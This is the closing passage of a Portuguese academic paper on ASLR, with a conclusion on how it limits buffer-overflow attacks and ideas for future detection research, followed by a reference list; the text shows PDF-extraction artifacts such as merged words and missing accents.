Como vimos, o ASLR certamente e uma tecnica que conseguiu cumprir a di-ficil missao de agregar protecao de forma generica a aplicativos em execucaoem um sistema operacional. A maioria dos sistemas operacionais modernosja apresentam o ASLR nativamente combinado com o W⊕X. Tais mecanis-mos de seguranca bloqueiam a maioria dos ataques de buffer overflow em suaforma original. Apesar de dificultar a exploracao de vulnerabilidades de buf-fer overflow a tecnica estudada nao representa uma solucao para essa categoriade vulnerabilidades. Vimos que com pouco recurso conseguimos realizar umaexploracao de return-to-libc com sucesso mesmo em sistemas com o ASLR ha-bilitado.

O aumento significativo no ruıdo causado pelos ataques e uma qualidade doASLR. Esse ruıdo serve como evidencia para deteccao automatica de ataques.Apesar desse avanco, ainda nao possuimos sistemas autonomos para deteccaoe atuacao de buffer overflow. A construcao de tal algorıtmo ainda se mostraum desafio para os pesquisadores de seguranca de informacao (problema dereconhecimento de padrao).

Como pesquisas futuras, seria importante estudar tecnicas de reconheci-mento de padrao como (maquina de vetor de suporte, redes neurais artificiais,etc) aplicadas a construcao de mecanismo de deteccao de intrusao. Outro pontode investigacao importante para o futuro seria a qualidade dos geradores denumero aleatorio utilizados nos sistemas operacionais. No caso do Linux, de-vido ao baixo numero de tentativas para obtencao de sucesso na exploracao de16 bits, e provavel que a entropia da distribuicao produzida pelo gerador naoseja adequada.

Referencias

[1] P. Team, “Address Space Layout Randomization,” 2003.

[2] ——, “PAX - Random Memory Map (randmmap),” 2003.

[3] ——, “PAX - Random Stack (randkstack),” 2003.

[4] A. One, “Smashing the stack for fun and profit,” Phrack magazine, vol. 7,no. 49, pp. 1996–11, 1996.

[5] M. Alvares, “[VD01] – Stack Overflow,” 2009. [Online]. Available:http://www.marcosalvares.com/?p=208

[6] GNU, “GDB Documentation,” 2009. [Online]. Available: http://sourceware.org/gdb/current/onlinedocs/gdb/

[7] M. Alvares, “Depurando com o GDB na pratica,” 2009. [Online]. Available:http://www.marcosalvares.com/?p=470

[8] T. Durden, “Bypassing PaX ASLR Protection,” Phrack Magazine, vol. 59,no. 0x09, 2002.

[9] A. Cugliari, L. Part, M. Graziano, and W. Part, “Smashing the stack in2010,” no. July, pp. 1–73, 2010.

12

http://www.marcosalvares.com/?p=208

http://sourceware.org/gdb/current/onlinedocs/gdb/

http://sourceware.org/gdb/current/onlinedocs/gdb/

http://www.marcosalvares.com/?p=470

[10] H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh,“On the effectiveness of address-space randomization,” Proceedings of the11th ACM conference on Computer and communications security - CCS’04, p. 298, 2004.

[11] M. Abadi and G. Plotkin, “On Protection by Layout Randomization,” 201023rd IEEE Computer Security Foundations Symposium, pp. 337–351, Jul.2010.

[12] T. M, “ASLR Smack & Laugh Reference Seminar on Advanced Exploita-tion Techniques,” Science, no. June 2005, pp. 1–21, 2008.

[13] S. Designer, “return-to-libc atack,” Bugtrack, 1997.

[14] R. Wojtczuk, “The advanced return-into-lib (c) exploits: PaX case study,”Phrack Magazine, vol. 0x0b, no. 0x3a, 2001.

[15] D. Patterson, “A simple way to estimate the cost of downtime,” in Proc.16th Systems Administration Conf.— LISA, no. November, 2002, pp. 185–8.

13